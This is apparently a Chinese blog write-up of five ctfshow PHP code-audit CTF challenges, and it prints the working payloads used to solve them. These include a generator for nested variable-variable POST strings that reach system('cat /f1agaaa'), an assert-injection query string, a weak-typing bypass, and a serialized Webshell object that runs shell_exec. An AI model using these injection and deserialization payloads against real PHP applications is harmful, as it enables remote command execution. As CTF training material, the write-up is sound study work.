web专题之php代审(一)

复制代码
这里将会记录一些我在各大ctf练习平台所碰到的有关php代码审计的题目,考点有弱类型绕过,伪协议,反序列化等等。因为是在备赛,且只是菜鸡一个,多多见谅,会努力学习。

1. 这是来自ctfshow 菜狗杯的一道题目:我的眼里只有$

打开靶场如下图所示

php 复制代码
<?php  
/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2022-11-10 17:20:38  
# @Last Modified by:   h1xa  
# @Last Modified time: 2022-11-11 08:21:54  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  
  
*/  
  
  
error_reporting(0);  
extract($_POST);  
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);  
highlight_file(__FILE__);

这道题初次看比较懵,非常多的美元符号,其实是一道套娃的题目,参考了一下大佬的思路,比如传进来的参数是_=a,那么就是_=a,再传入一个参数a=b,那么就是$__=b,再接着下去就行了。

下面是python的代码

python 复制代码
import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
    a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)

一共是36个$,所以我们首先构造一个,后面的使用for循环构造,完了之后拼接我们想要执行的命令,读取根目录下的所有文件。

执行完如下图所示 _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');

记得使用post提交,回显如下图所示

发现我们想要的文件名已经给出来了:f1agaaa。更换命令使用system('cat /f1agaaa')

less 复制代码
 _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('cat /f1agaaa');

最终成功得到了我们想要的flag。

2.这是来自ctfshow菜狗杯的一道题:一言既出

代码如下图所示

php 复制代码
<?php  
highlight_file(__FILE__);   
include "flag.php";    
if (isset($_GET['num'])){  
    if ($_GET['num'] == 114514){  
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");  
        echo $flag;  
    }   
}

简单分析,首先我们需要通过get方法传递参数,进入第一个if语句,然后要满足num=114514,以及intval函数化整之后为1919810,这显然是不可能同时满足的,所以我们需要绕过。

注意这个intval函数,结合一下注入的思路,我们可以尝试闭合这个函数使其绕过检测。

payload:

ini 复制代码
?num=114514);(1919810

php弱类型,在if语句中比较时,参数自动转为114514,舍去了后面的部分。接着在asset函数中,intval函数提前闭合,";"使语句终止,再1919810==1919810,永真语句成功绕过。

3.这道题是第二题的后续:驷马难追

php 复制代码
<?php  
highlight_file(__FILE__);   
include "flag.php";    
if (isset($_GET['num'])){  
     if ($_GET['num'] == 114514 && check($_GET['num'])){  
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");  
              echo $flag;  
     }   
}   
  
function check($str){  
  return !preg_match("/[a-z]|\;|\(|\)/",$str);  
}

这道题是上一题的加强版,正则匹配中,限制了小写字母,";"以及左右括号。 思考了很久,似乎被第二题给思维定式了,于是看了看大佬的思路,,发现非常的巧妙!

payload:

perl 复制代码
114514%2B1805296

这里的加号需要url转码,再赋值(直接写+号,事实上在url中表示空格)。前面是同理的,php弱类型绕过,判断的时候自动舍去后面的东西,留下114514。 接着是intval函数,首先是会进行里面的加法运算,得到1919810,符合条件,成功绕过。

4.这是ctfshow菜狗杯的一道题:webshell

下图所示是代码:

php 复制代码
<?php   
    error_reporting(0);  
  
    class Webshell {  
        public $cmd = 'echo "Hello World!"';  
  
        public function __construct() {  
            $this->init();  
        }  
  
        public function init() {  
            if (!preg_match('/flag/i', $this->cmd)) {  
                $this->exec($this->cmd);  
            }  
        }  
  
        public function exec($cmd) {  
            $result = shell_exec($cmd);  
            echo $result;  
        }  
    }  
  
    if(isset($_GET['cmd'])) {  
        $serializecmd = $_GET['cmd'];  
        $unserializecmd = unserialize($serializecmd);  
        $unserializecmd->init();  
    }  
    else {  
        highlight_file(__FILE__);  
    }  
  
?>

仔细看发现是反序列化。由Wedshell类中的函数可知,我们不能使$cmd参数带有"flag"(正则表达式限制),代码顺下去发现参数会被shell_exec()函数调用,可执行shell命令,也就是说我们可以写进执行命令的语句。

序列化构造:

php 复制代码
<?php
class Webshell {
	public $cmd = 'cat * >1.txt';
}

$a = new Webshell();
echo serialize($a);
?>

参数表明就当前目录下所有文件合并写入1.txt中,避免了敏感词"flag"。

运行后如下所示,再拼接到url参数后

css 复制代码
O:8:"Webshell":1:{s:3:"cmd";s:12:"cat * >1.txt";}

在1.txt中成功找到flag

5.这是来自ctfshow菜狗杯的一道题:化零为整

代码如下所示:

php 复制代码
<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
        if (strlen($_GET[$i])>1){
                die("你太长了!!");
                }
        else{
        $result=$result.$_GET[$i];
        }
}

if ($result ==="大牛"){
        echo $flag;
}

初步分析一下代码,这里的count($_GET)表示传入的参数个数,以此决定我们循环的次数。接着就没有什么思路了,看了一下大佬的题解,发现"大牛"是需要url编码的。

编码如下:

perl 复制代码
%E5%A4%A7%E7%89%9B

for循环是需要一个字符一个字符的拼接,每个字符的长度为1,并且每个字符作为参数传入

perl 复制代码
   ?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

原理:

这里$i在循环中是累加的

以至于$result是依次拼接url中对应次序的参数。

最终可以回显flag。

相关推荐
BingoGo1 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack1 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理3 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082853 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe3 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5
longxiangam3 天前
Composer 私有仓库搭建
php·composer
上海云盾-高防顾问3 天前
DNS异常怎么办?快速排查+解决指南
开发语言·php